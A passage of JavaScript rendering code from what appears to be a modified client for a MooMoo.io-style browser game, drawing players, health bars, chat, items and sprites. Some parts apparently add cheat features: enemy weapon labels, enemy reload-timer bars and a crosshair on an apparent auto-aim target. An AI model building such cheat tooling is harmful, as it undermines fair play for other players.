                        // RENDER PLAYER AND AI UI:
                        mainContext.strokeStyle = darkOutlineColor;



                        for (var i = 0; i < players.length + ais.length; ++i) {
                            tmpObj = players[i]||ais[i-players.length];
                            if (tmpObj.visible) {


                                // NAME AND HEALTH:
                                if (tmpObj.skinIndex != 10 || (tmpObj==player) || (tmpObj.team && tmpObj.team==player.team)) {
                                    var tmpText = (tmpObj.isPlayer&& !settings.ae && tmpObj.sid != player.sid ? "["+ primaryWeapons[tmpObj.sid] + "/" + secondaryWeapons[tmpObj.sid] + "]   ": "") + (tmpObj.team?"["+tmpObj.team+"] ":"")+(tmpObj.name||"")
                                    if (tmpText != "") {
                                        mainContext.font = (tmpObj.nameScale||30) + "px Hammersmith One";
                                        mainContext.fillStyle = "#fff"
                                        mainContext.textBaseline = "middle";
                                        mainContext.textAlign = "center";
                                        mainContext.lineWidth = (tmpObj.nameScale?11:8);
                                        mainContext.lineJoin = "round";
                                        mainContext.strokeText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
                                        mainContext.fillText(tmpText, tmpObj.x - xOffset, (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
                                        if (tmpObj.isLeader && iconSprites["crown"].isLoaded) {
                                            var tmpS = config.crownIconScale;
                                            var tmpX = tmpObj.x - xOffset - (tmpS/2) - (mainContext.measureText(tmpText).width / 2) -config.crownPad;
                                            mainContext.drawImage(iconSprites["crown"], tmpX, (tmpObj.y - yOffset - tmpObj.scale)
                                                                  - config.nameY - (tmpS/2) - 5, tmpS, tmpS);
                                        } if (tmpObj.iconIndex == 1 && iconSprites["skull"].isLoaded) {
                                            var tmpS = config.crownIconScale;
                                            var tmpX = tmpObj.x - xOffset - (tmpS/2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad;
                                            mainContext.drawImage(iconSprites["skull"], tmpX, (tmpObj.y - yOffset - tmpObj.scale+ 10)
                                                                  - config.nameY - (tmpS/2) - 15, tmpS, tmpS);
                                        }
                                        if (nEy[0] == tmpObj.sid && auI && iconSprites["crosshair"].isLoaded) {
                                            var tmpS = 2 * config.playerScale
                                            var tmpX = tmpObj.x - xOffset - (tmpS/2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad;
                                            mainContext.drawImage(iconSprites["crosshair"], tmpObj.x - xOffset - tmpS+35, (tmpObj.y - yOffset - tmpObj.scale), tmpS, tmpS);
                                        }
                                        sortWeapons(tmpObj.weaponIndex, tmpObj.weaponVariant, tmpObj.sid)
                                        currentWeapon[tmpObj.sid] = tmpObj.weaponIndex
                                    } if (tmpObj.health > 0) {

                                        var tmpWidth = config.healthBarWidth;
                                        mainContext.fillStyle = darkOutlineColor;
                                        mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth - config.healthBarPad,
                                                              (tmpObj.y - yOffset + tmpObj.scale) + config.nameY, (config.healthBarWidth * 2) +
                                                              (config.healthBarPad * 2), 17, 8);
                                        mainContext.fill();
                                        mainContext.fillStyle = (tmpObj==player||(tmpObj.team&&tmpObj.team==player.team))?"#8ecc51":"#cc5151";
                                        mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth,
                                                              (tmpObj.y - yOffset + tmpObj.scale) + config.nameY + config.healthBarPad,
                                                              ((config.healthBarWidth * 2) * (tmpObj.health / tmpObj.maxHealth)), 17 - config.healthBarPad * 2, 7);
                                        mainContext.fill();


                                        if(tmpObj.isPlayer&&!settings.ae){
                                            var tmpS = config.crownIconScale;
                                            var tmpX = tmpObj.iconIndex == 1 ? tmpObj.x - xOffset - (tmpS/2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad*3.5 + 5 : tmpObj.x - xOffset - (tmpS/2) + (mainContext.measureText(tmpText).width / 2) + config.crownPad + 20
                                            var tmpShame =  tmpObj.shameCount
                                            mainContext.font = (tmpObj.nameScale/2||30) + "px Hammersmith One";
                                            mainContext.fillStyle = "#FF0000";
                                            mainContext.textBaseline = "middle";
                                            mainContext.textAlign = "center";
                                            mainContext.lineWidth = (tmpObj.nameScale?11:8);
                                            mainContext.lineJoin = "round";
                                            mainContext.strokeText(tmpShame, tmpX , (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);
                                            mainContext.fillText(tmpShame, tmpX , (tmpObj.y - yOffset - tmpObj.scale) - config.nameY);





                                            var tmpWidth = config.healthBarWidth;

                                            mainContext.fillStyle = darkOutlineColor;
                                            mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth - config.healthBarPad,
                                                                  (tmpObj.y - yOffset + tmpObj.scale) + config.nameY-15, (config.healthBarWidth)*2 +
                                                                  (config.healthBarPad * 2), 17, 8);
                                            mainContext.fill();
                                            mainContext.fillStyle = primaryReload[tmpObj.sid] == 1 ? "#61AD89": primaryReload[tmpObj.sid] < 0.5 ? "#4B504F" : "#848B8A"
                                            mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth,
                                                                  (tmpObj.y - yOffset + tmpObj.scale) + config.nameY-15 + config.healthBarPad,
                                                                  (Math.abs((config.healthBarWidth) * (tmpObj.pr<primaryReload[tmpObj.sid]?tmpObj.pr+(primaryReload[tmpObj.sid]-tmpObj.pr)*Math.min(1,tmpObj.dt/111):primaryReload[tmpObj.sid]))), 17 - config.healthBarPad * 2, 7);

                                            mainContext.fill();
                                            mainContext.fillStyle = darkOutlineColor;
                                            mainContext.roundRect(tmpObj.x - xOffset+50 - config.healthBarWidth - config.healthBarPad,
                                                                  (tmpObj.y - yOffset + tmpObj.scale) + config.nameY-15, (config.healthBarWidth) +
                                                                  (config.healthBarPad * 2), 17, 8);
                                            mainContext.fill();
                                            mainContext.fillStyle = secondaryReload[tmpObj.sid] == 1 ? "#61AD89": secondaryReload[tmpObj.sid] < 0.5 ? "#4B504F" : "#848B8A"
                                            mainContext.roundRect(tmpObj.x - xOffset - config.healthBarWidth + 50,
                                                                  (tmpObj.y - yOffset + tmpObj.scale) + config.nameY-15 + config.healthBarPad,
                                                                  (Math.abs((config.healthBarWidth) * (tmpObj.sr<secondaryReload[tmpObj.sid]?tmpObj.sr+(secondaryReload[tmpObj.sid]-tmpObj.sr)*Math.min(1,tmpObj.dt/111):secondaryReload[tmpObj.sid]))), 17 - config.healthBarPad * 2, 7);
                                            mainContext.fill();




                                        }
                                    }
                                    if(tmpObj.isPlayer){
                                        tmpObj.old && tmpObj.update(Date.now() - tmpObj.old);
                                        tmpObj.old = Date.now()
                                    }
                                }
                            }
                        }

                        // RENDER ANIM TEXTS:
                        textManager.update(delta, mainContext, xOffset, yOffset);


                        // RENDER CHAT MESSAGES:
                        for (var i = 0; i < players.length; ++i) {
                            tmpObj = players[i];
                            if (tmpObj.visible && tmpObj.chatCountdown > 0) {
                                tmpObj.chatCountdown -= delta;
                                if (tmpObj.chatCountdown <= 0)
                                    tmpObj.chatCountdown = 0;
                                mainContext.font = "34px Hammersmith One";
                                var tmpSize = mainContext.measureText(tmpObj.chatMessage);
                                mainContext.textBaseline = "middle";
                                mainContext.textAlign = "center";
                                var tmpX = tmpObj.x - xOffset;
                                var tmpY = tmpObj.y - tmpObj.scale - yOffset - 90;
                                var tmpH = 47;
                                var tmpW = tmpSize.width + 17;
                                mainContext.fillStyle = "rgba(0,0,0,0.2)";
                                mainContext.roundRect(tmpX-tmpW/2, tmpY-tmpH/2, tmpW, tmpH, 6);
                                mainContext.fill();
                                mainContext.fillStyle = "#fff";
                                mainContext.fillText(tmpObj.chatMessage, tmpX, tmpY);
                            }
                        }
                    }

                    // RENDER MINIMAP:
                    renderMinimap(delta);

                    // RENDER CONTROLS:
                    if (controllingTouch.id !== -1) {
                        renderControl(
                            controllingTouch.startX, controllingTouch.startY,
                            controllingTouch.currentX, controllingTouch.currentY
                        );
                    }
                    if (attackingTouch.id !== -1) {
                        renderControl(
                            attackingTouch.startX, attackingTouch.startY,
                            attackingTouch.currentX, attackingTouch.currentY
                        );
                    }
                }
                function sortWeapons(wID, vID, pSID){
                    if(wID <= 8 && wID >= 0){
                        if(primaryWeapons[pSID] != wID){
                            primaryReload[pSID] = 1
                        }
                        primaryWeapons[pSID] = wID
                        primaryWeaponVariant[pSID] = vID
                        if(secondaryWeapons[pSID] == undefined){
                            secondaryWeapons[pSID] = 15
                            secondaryWeaponVariant[pSID] = 0
                        }
                    } else if(wID <= 15){
                        if(secondaryWeapons[pSID] != wID){
                            secondaryReload[pSID] = 1
                        }
                        secondaryWeapons[pSID] = wID
                        secondaryWeaponVariant[pSID] = vID
                        if(primaryWeapons[pSID] == undefined){
                            primaryWeapons[pSID] = 5
                            primaryWeaponVariant[pSID] = 3
                        }

                    }

                }

                // RENDER CONTROL:
                function renderControl(startX, startY, currentX, currentY) {
                    mainContext.save();
                    mainContext.setTransform(1, 0, 0, 1, 0, 0);
                    // mainContext.resetTransform();
                    mainContext.scale(pixelDensity, pixelDensity);
                    var controlRadius = 50;
                    mainContext.beginPath();
                    mainContext.arc(startX, startY, controlRadius, 0, Math.PI * 2, false);
                    mainContext.closePath();
                    mainContext.fillStyle = "rgba(255, 255, 255, 0.3)";
                    mainContext.fill();
                    var controlRadius = 50;
                    var offsetX = currentX - startX;
                    var offsetY = currentY - startY;
                    var mag = Math.sqrt(Math.pow(offsetX, 2) + Math.pow(offsetY, 2));
                    var divisor = mag > controlRadius ? (mag / controlRadius) : 1;
                    offsetX /= divisor;
                    offsetY /= divisor;
                    mainContext.beginPath();
                    mainContext.arc(startX + offsetX, startY + offsetY, controlRadius * 0.5, 0, Math.PI * 2, false);
                    mainContext.closePath();
                    mainContext.fillStyle = "white";
                    mainContext.fill();
                    mainContext.restore();
                }

                // RENDER PROJECTILES:
                function renderProjectiles(layer, xOffset, yOffset) {
                    for (var i = 0; i < projectiles.length; ++i) {
                        tmpObj = projectiles[i];
                        if (tmpObj.active && tmpObj.layer == layer) {
                            tmpObj.update(delta);
                            if (tmpObj.active && isOnScreen(tmpObj.x-xOffset, tmpObj.y-yOffset, tmpObj.scale)) {
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);
                                mainContext.rotate(tmpObj.dir);
                                renderProjectile(0, 0, tmpObj, mainContext, 1);
                                mainContext.restore();
                            }
                        }
                    }
                }

                // RENDER PROJECTILE:
                var projectileSprites = {};
                function renderProjectile(x, y, obj, ctxt, debug) {
                    if (obj.src) {
                        var tmpSrc = items.projectiles[obj.indx].src;
                        var tmpSprite = projectileSprites[tmpSrc];
                        if (!tmpSprite) {
                            tmpSprite = new Image();
                            tmpSprite.onload = function() {
                                this.isLoaded = true;
                            }
                            tmpSprite.src = ".././img/weapons/" + tmpSrc + ".png";
                            projectileSprites[tmpSrc] = tmpSprite;
                        }
                        if (tmpSprite.isLoaded)
                            ctxt.drawImage(tmpSprite, x - (obj.scale / 2), y - (obj.scale / 2), obj.scale, obj.scale);
                    } else if (obj.indx == 1) {
                        ctxt.fillStyle = "#939393";
                        renderCircle(x, y, obj.scale, ctxt);
                    }
                }

                // RENDER WATER BODIES:
                function renderWaterBodies(xOffset, yOffset, ctxt, padding) {

                    // MIDDLE RIVER:
                    var tmpW = config.riverWidth + padding;
                    var tmpY = (config.mapScale / 2) - yOffset - (tmpW / 2);
                    if (tmpY < maxScreenHeight && tmpY + tmpW > 0) {
                        ctxt.fillRect(0, tmpY, maxScreenWidth, tmpW);
                    }
                }

                // RENDER GAME OBJECTS:
                function renderGameObjects(layer, xOffset, yOffset) {

                    var tmpSprite, tmpX, tmpY;
                    for (var i = 0; i < gameObjects.length; ++i) {
                        tmpObj = gameObjects[i];
                        if (tmpObj.active) {
                            tmpX = tmpObj.x + tmpObj.xWiggle - xOffset;
                            tmpY = tmpObj.y + tmpObj.yWiggle - yOffset;
                            if (layer == 0) {
                                tmpObj.update(delta);
                            }
                            if (tmpObj.layer == layer && isOnScreen(tmpX, tmpY, tmpObj.scale + (tmpObj.blocker||0))) {
                                mainContext.globalAlpha = tmpObj.hideFromEnemy?0.6:1;
                                if (tmpObj.isItem) {

                                    tmpSprite = getItemSprite(tmpObj);
                                    mainContext.save();
                                    mainContext.translate(tmpX, tmpY);
                                    (tmpObj.dir > 1e300 || tmpObj.dir < -1e300 ? (mainContext.globalAlpha = tmpObj.hideFromEnemy ? .6 : 1, mainContext.rotate(Math.atan2(Math.sin(tmpObj.dir), Math.cos(tmpObj.dir)))) : mainContext.rotate(settings.ae ? 0 : tmpObj.dir))//all the zeros were tmpObj.dir
                                    mainContext.drawImage(tmpSprite, -(tmpSprite.width / 2), -(tmpSprite.height / 2));
                                    if (tmpObj.blocker) {
                                        mainContext.strokeStyle = "#db6e6e";
                                        mainContext.globalAlpha = 0.3;
                                        mainContext.lineWidth = 6;
                                        renderCircle(0, 0, tmpObj.blocker, mainContext, false, true);
                                    }
                                    mainContext.restore();
                                } else {
                                    tmpSprite = getResSprite(tmpObj);
                                    mainContext.drawImage(tmpSprite, tmpX - (tmpSprite.width / 2), tmpY - (tmpSprite.height / 2));
                                }

                            }
                        }
                    }
                }
                // GATHER ANIMATION:
                function gatherAnimation(sid, didHit, index) {
                    tmpObj = findPlayerBySID(sid);
                    if (tmpObj){
                        tmpObj.startAnim(didHit, index);
                        if(index < 9){
                            primaryReload[tmpObj.sid] = -111/items.weapons[tmpObj.primary].speed
                        } else {
                            secondaryReload[tmpObj.sid] = -111/items.weapons[tmpObj.secondary].speed
                        }
                    }

                }

                // RENDER PLAYERS:
                function renderPlayers(xOffset, yOffset, zIndex) {
                    mainContext.globalAlpha = 1;
                    for (var i = 0; i < players.length; ++i) {
                        tmpObj = players[i];
                        if (tmpObj.zIndex == zIndex) {
                            tmpObj.animate(delta);
                            if (tmpObj.visible) {
                                tmpObj.skinRot += (0.002 * delta);
                                tmpDir = ((tmpObj == player && !settings.ae)?getAttackDir():tmpObj.dir) + tmpObj.dirPlus;
                                mainContext.save();
                                mainContext.translate(tmpObj.x - xOffset, tmpObj.y - yOffset);

                                // RENDER PLAYER:
                                mainContext.rotate(tmpDir);
                                if(player == tmpObj && player.skinIndex == 40 && tracker.hitting == true && !settings.getruby && !settings.ae){

                                } else {
                                    renderPlayer(tmpObj, mainContext);
                                }

                                mainContext.restore();
                            }
                        }
                    }
                }

                // RENDER PLAYER:
                function renderPlayer(obj, ctxt) {
                    ctxt = ctxt || mainContext;
                    ctxt.lineWidth = outlineWidth;
                    ctxt.lineJoin = "miter";
                    var handAngle = (Math.PI / 4) * (items.weapons[obj.weaponIndex].armS||1);
                    var oHandAngle = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndS||1):1;
                    var oHandDist = (obj.buildIndex < 0)?(items.weapons[obj.weaponIndex].hndD||1):1;

                    // TAIL/CAPE:
                    if (obj.tailIndex > 0) {
                        renderTail(obj.tailIndex, ctxt, obj);
                    }

                    // WEAPON BELLOW HANDS:
                    if (obj.buildIndex < 0 && !items.weapons[obj.weaponIndex].aboveHand) {
                        renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
                        if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
                            renderProjectile(obj.scale, 0,
                                             items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
                        }
                    }

                    // HANDS:
                    ctxt.fillStyle = config.skinColors[obj.skinColor];
                    renderCircle(obj.scale * Math.cos(handAngle), (obj.scale * Math.sin(handAngle)), 14);
                    renderCircle((obj.scale * oHandDist) * Math.cos(-handAngle * oHandAngle),
                                 (obj.scale * oHandDist) * Math.sin(-handAngle * oHandAngle), 14);

                    // WEAPON ABOVE HANDS:
                    if (obj.buildIndex < 0 && items.weapons[obj.weaponIndex].aboveHand) {
                        renderTool(items.weapons[obj.weaponIndex], config.weaponVariants[obj.weaponVariant].src, obj.scale, 0, ctxt);
                        if (items.weapons[obj.weaponIndex].projectile != undefined && !items.weapons[obj.weaponIndex].hideProjectile) {
                            renderProjectile(obj.scale, 0,
                                             items.projectiles[items.weapons[obj.weaponIndex].projectile], mainContext);
                        }
                    }

                    // BUILD ITEM:
                    if (obj.buildIndex >= 0) {
                        var tmpSprite = getItemSprite(items.list[obj.buildIndex]);
                        ctxt.drawImage(tmpSprite, obj.scale - items.list[obj.buildIndex].holdOffset, -tmpSprite.width / 2);
                    }

                    // BODY:
                    renderCircle(0, 0, obj.scale, ctxt);

                    // SKIN:
                    if (obj.skinIndex > 0) {
                        ctxt.rotate(Math.PI/2);
                        renderSkin(obj.skinIndex, ctxt, null, obj);
                    }
                }

                // RENDER SKINS:
                var skinSprites = {};
                var skinPointers = {};
                var tmpSkin;
                function renderSkin(index, ctxt, parentSkin, owner) {
                    tmpSkin = skinSprites[index];
                    if (!tmpSkin) {
                        var tmpImage = new Image();
                        tmpImage.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImage.src = ".././img/hats/hat_" + index + ".png";
                        skinSprites[index] = tmpImage;
                        tmpSkin = tmpImage;
                    }
                    var tmpObj = parentSkin||skinPointers[index];
                    if (!tmpObj) {
                        for (var i = 0; i < hats.length; ++i) {
                            if (hats[i].id == index) {
                                tmpObj = hats[i];
                                break;
                            }
                        }
                        skinPointers[index] = tmpObj;
                    }
                    if (tmpSkin.isLoaded)
                        ctxt.drawImage(tmpSkin, -tmpObj.scale/2, -tmpObj.scale/2, tmpObj.scale, tmpObj.scale);
                    if (!parentSkin && tmpObj.topSprite) {
                        ctxt.save();
                        ctxt.rotate(owner.skinRot);
                        renderSkin(index + "_top", ctxt, tmpObj, owner);
                        ctxt.restore();
                    }
                }

                // RENDER TAIL:
                var accessSprites = {};
                var accessPointers = {};
                function renderTail(index, ctxt, owner) {
                    tmpSkin = accessSprites[index];
                    if (!tmpSkin) {
                        var tmpImage = new Image();
                        tmpImage.onload = function() {
                            this.isLoaded = true;
                            this.onload = null;
                        };
                        tmpImage.src = ".././img/accessories/access_" + index + ".png";
                        accessSprites[index] = tmpImage;
                        tmpSkin = tmpImage;
                    }
                    var tmpObj = accessPointers[index];
                    if (!tmpObj) {
                        for (var i = 0; i < accessories.length; ++i) {
                            if (accessories[i].id == index) {
                                tmpObj = accessories[i];
                                break;
                            }
                        }
                        accessPointers[index] = tmpObj;
                    }
                    if (tmpSkin.isLoaded) {
                        ctxt.save();
                        ctxt.translate(-20 - (tmpObj.xOff||0), 0);
                        if (tmpObj.spin)
                            ctxt.rotate(owner.skinRot);
                        ctxt.drawImage(tmpSkin, -(tmpObj.scale/2), -(tmpObj.scale/2), tmpObj.scale, tmpObj.scale);
                        ctxt.restore();
                    }
                }

                // RENDER TOOL:
                var toolSprites = {};
                function renderTool(obj, variant, x, y, ctxt) {
                    var tmpSrc = obj.src + (variant||"");
                    var tmpSprite = toolSprites[tmpSrc];
                    if (!tmpSprite) {
                        tmpSprite = new Image();
                        tmpSprite.onload = function() {
                            this.isLoaded = true;
                        }
                        tmpSprite.src = ".././img/weapons/" + tmpSrc + ".png";
                        toolSprites[tmpSrc] = tmpSprite;
                    }
                    if (tmpSprite.isLoaded){
                        ctxt.drawImage(tmpSprite, x+obj.xOff-(obj.length/2), y+obj.yOff-(obj.width/2), obj.length, obj.width);
                    }
                }

                // RENDER GAME OBJECTS:
                var gameObjectSprites = {};
                function getResSprite(obj) {
                    var biomeID = (obj.y>=config.mapScale-config.snowBiomeTop)?2:((obj.y<=config.snowBiomeTop)?1:0);
                    var tmpIndex = (obj.type + "_" + obj.scale + "_" + biomeID);
                    var tmpSprite = gameObjectSprites[tmpIndex];

                    if (!tmpSprite) {
                        var tmpCanvas = document.createElement('canvas');
                        tmpCanvas.width = tmpCanvas.height = (obj.scale * 2.1) + outlineWidth;
                        var tmpContext = tmpCanvas.getContext('2d');
                        tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                        tmpContext.rotate(UTILS.randFloat(0, Math.PI));
                        tmpContext.strokeStyle = outlineColor;
                        tmpContext.lineWidth = outlineWidth;
                        if (obj.type == 0) {
                            var tmpScale;
                            for (var i = 0; i < 2; ++i) {
                                tmpScale = tmpObj.scale * (!i?1:0.5);
                                renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
                                tmpContext.fillStyle = !biomeID?(!i?"#9ebf57":"#b4db62"):(!i?"#e3f1f4":"#fff");
                                tmpContext.fill();
                                if (!i)
                                    tmpContext.stroke();
                            }
                        } else if (obj.type == 1) {
                            if (biomeID == 2) {
                                tmpContext.fillStyle = "#606060";
                                renderStar(tmpContext, 6, obj.scale * 0.3, obj.scale * 0.71);
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpContext.fillStyle = "#89a54c";
                                renderCircle(0, 0, obj.scale * 0.55, tmpContext);
                                tmpContext.fillStyle = "#a5c65b";
                                renderCircle(0, 0, obj.scale * 0.3, tmpContext, true);
                            } else {
                                renderBlob(tmpContext, 6, tmpObj.scale, tmpObj.scale * 0.7);
                                tmpContext.fillStyle = biomeID?"#e3f1f4":"#89a54c";
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpContext.fillStyle = biomeID?"#6a64af":"#c15555";
                                var tmpRange;
                                var berries = 4;
                                var rotVal = mathPI2 / berries;
                                for (var i = 0; i < berries; ++i) {
                                    tmpRange = UTILS.randInt(tmpObj.scale/3.5, tmpObj.scale/2.3);
                                    renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                                 UTILS.randInt(10, 12), tmpContext);
                                }
                            }
                        } else if (obj.type == 2 || obj.type == 3) {
                            tmpContext.fillStyle = (obj.type==2)?(biomeID==2?"#938d77":"#939393"):"#e0c655";
                            renderStar(tmpContext, 3, obj.scale, obj.scale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = (obj.type==2)?(biomeID==2?"#b2ab90":"#bcbcbc"):"#ebdca3";
                            renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
                            tmpContext.fill();
                        }
                        tmpSprite = tmpCanvas;
                        gameObjectSprites[tmpIndex] = tmpSprite;

                    }
                    return tmpSprite;
                }

                // GET ITEM SPRITE:
                var itemSprites = [];
                function getItemSprite(obj, asIcon) {
                    var tmpSprite = itemSprites[obj.id];
                    if (!tmpSprite || asIcon) {
                        var tmpCanvas = document.createElement('canvas');
                        tmpCanvas.width = tmpCanvas.height = (obj.scale * 2.5) + outlineWidth +
                            (items.list[obj.id].spritePadding||0);
                        var tmpContext = tmpCanvas.getContext('2d');
                        tmpContext.translate((tmpCanvas.width / 2), (tmpCanvas.height / 2));
                        tmpContext.rotate(asIcon?0:(Math.PI/2));
                        tmpContext.strokeStyle = outlineColor;
                        tmpContext.lineWidth = outlineWidth * (asIcon?(tmpCanvas.width/81):1);
                        if (obj.name == "apple") {
                            tmpContext.fillStyle = "#c15555";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#89a54c";
                            var leafDir = -(Math.PI / 2);
                            renderLeaf(obj.scale * Math.cos(leafDir), obj.scale * Math.sin(leafDir),
                                       25, leafDir + Math.PI/2, tmpContext);
                        } else if (obj.name == "cookie") {
                            tmpContext.fillStyle = "#cca861";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#937c4b";
                            var chips = 4;
                            var rotVal = mathPI2 / chips;
                            var tmpRange;
                            for (var i = 0; i < chips; ++i) {
                                tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
                                renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                             UTILS.randInt(4, 5), tmpContext, true);
                            }
                        } else if (obj.name == "cheese") {
                            tmpContext.fillStyle = "#f4f3ac";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#c3c28b";
                            var chips = 4;
                            var rotVal = mathPI2 / chips;
                            var tmpRange;
                            for (var i = 0; i < chips; ++i) {
                                tmpRange = UTILS.randInt(obj.scale / 2.5, obj.scale / 1.7);
                                renderCircle(tmpRange * Math.cos(rotVal * i), tmpRange * Math.sin(rotVal * i),
                                             UTILS.randInt(4, 5), tmpContext, true);
                            }
                        } else if (obj.name == "wood wall" || obj.name == "stone wall" || obj.name == "castle wall") {
                            tmpContext.fillStyle = (obj.name == "castle wall")?"#83898e":(obj.name=="wood wall")?
                                "#a5974c":"#939393";
                            var sides = (obj.name == "castle wall")?4:3;
                            renderStar(tmpContext, sides, obj.scale * 1.1, obj.scale * 1.1);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = (obj.name == "castle wall")?"#9da4aa":(obj.name=="wood wall")?
                                "#c9b758":"#bcbcbc";
                            renderStar(tmpContext, sides, obj.scale * 0.65, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "spikes" || obj.name == "greater spikes" || obj.name == "poison spikes"
                                   || obj.name == "spinning spikes") {
                            tmpContext.fillStyle = (obj.name == "poison spikes")?"#7b935d":"#939393";
                            var tmpScale = (obj.scale * 0.6);
                            renderStar(tmpContext, (obj.name == "spikes")?5:6, obj.scale, tmpScale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, tmpScale, tmpContext);
                            tmpContext.fillStyle = "#c9b758"
                            renderCircle(0, 0, tmpScale/2, tmpContext, true);
                        } else if (obj.name == "windmill" || obj.name == "faster windmill" || obj.name == "power mill") {
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fillStyle = "#c9b758";
                            renderRectCircle(0, 0, obj.scale * 1.5, 29, 4, tmpContext);
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale * 0.5, tmpContext);
                        } else if (obj.name == "mine") {
                            tmpContext.fillStyle = "#939393";
                            renderStar(tmpContext, 3, obj.scale, obj.scale);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#bcbcbc";
                            renderStar(tmpContext, 3, obj.scale * 0.55, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "sapling") {
                            for (var i = 0; i < 2; ++i) {
                                var tmpScale = obj.scale * (!i?1:0.5);
                                renderStar(tmpContext, 7, tmpScale, tmpScale * 0.7);
                                tmpContext.fillStyle = (!i?"#9ebf57":"#b4db62");
                                tmpContext.fill();
                                if (!i) tmpContext.stroke();
                            }
                        } else if (obj.name == "pit trap") {
                            tmpContext.fillStyle = "#a5974c";
                            renderStar(tmpContext, 3, obj.scale * 1.1, obj.scale * 1.1);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = outlineColor;
                            renderStar(tmpContext, 3, obj.scale * 0.65, obj.scale * 0.65);
                            tmpContext.fill();
                        } else if (obj.name == "boost pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#dbd97d";
                            renderTriangle(obj.scale * 1, tmpContext);
                        } else if (obj.name == "turret") {
                            tmpContext.fillStyle = "#a5974c";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#939393";
                            var tmpLen = 50;
                            renderRect(0, -tmpLen/2, obj.scale * 0.9, tmpLen, tmpContext);
                            renderCircle(0, 0, obj.scale * 0.6, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                        } else if (obj.name == "platform") {
                            tmpContext.fillStyle = "#cebd5f";
                            var tmpCount = 4;
                            var tmpS = obj.scale * 2;
                            var tmpW = tmpS / tmpCount;
                            var tmpX = -(obj.scale/2);
                            for (var i = 0; i < tmpCount; ++i) {
                                renderRect(tmpX - (tmpW/2), 0, tmpW, obj.scale*2, tmpContext);
                                tmpContext.fill();
                                tmpContext.stroke();
                                tmpX += tmpS / tmpCount;
                            }
                        } else if (obj.name == "healing pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#db6e6e";
                            renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
                        } else if (obj.name == "spawn pad") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderRect(0, 0, obj.scale*2, obj.scale*2, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.fillStyle = "#71aad6";
                            renderCircle(0, 0, obj.scale * 0.6, tmpContext);
                        } else if (obj.name == "blocker") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.rotate(Math.PI / 4);
                            tmpContext.fillStyle = "#db6e6e";
                            renderRectCircle(0, 0, obj.scale * 0.65, 20, 4, tmpContext, true);
                        }  else if (obj.name == "teleporter") {
                            tmpContext.fillStyle = "#7e7f82";
                            renderCircle(0, 0, obj.scale, tmpContext);
                            tmpContext.fill();
                            tmpContext.stroke();
                            tmpContext.rotate(Math.PI / 4);
                            tmpContext.fillStyle = "#d76edb";
                            renderCircle(0, 0, obj.scale * 0.5, tmpContext, true);
                        }
                        tmpSprite = tmpCanvas;
                        if (!asIcon)
                            itemSprites[obj.id] = tmpSprite;
                    }
                    return tmpSprite;
                }

                // RENDER LEAF:
                function renderLeaf(x, y, l, r, ctxt) {
                    var endX = x + (l * Math.cos(r));
                    var endY = y + (l * Math.sin(r));
                    var width = l * 0.4;
                    ctxt.moveTo(x, y);
                    ctxt.beginPath();
                    ctxt.quadraticCurveTo(((x + endX) / 2) + (width * Math.cos(r + Math.PI/2)),
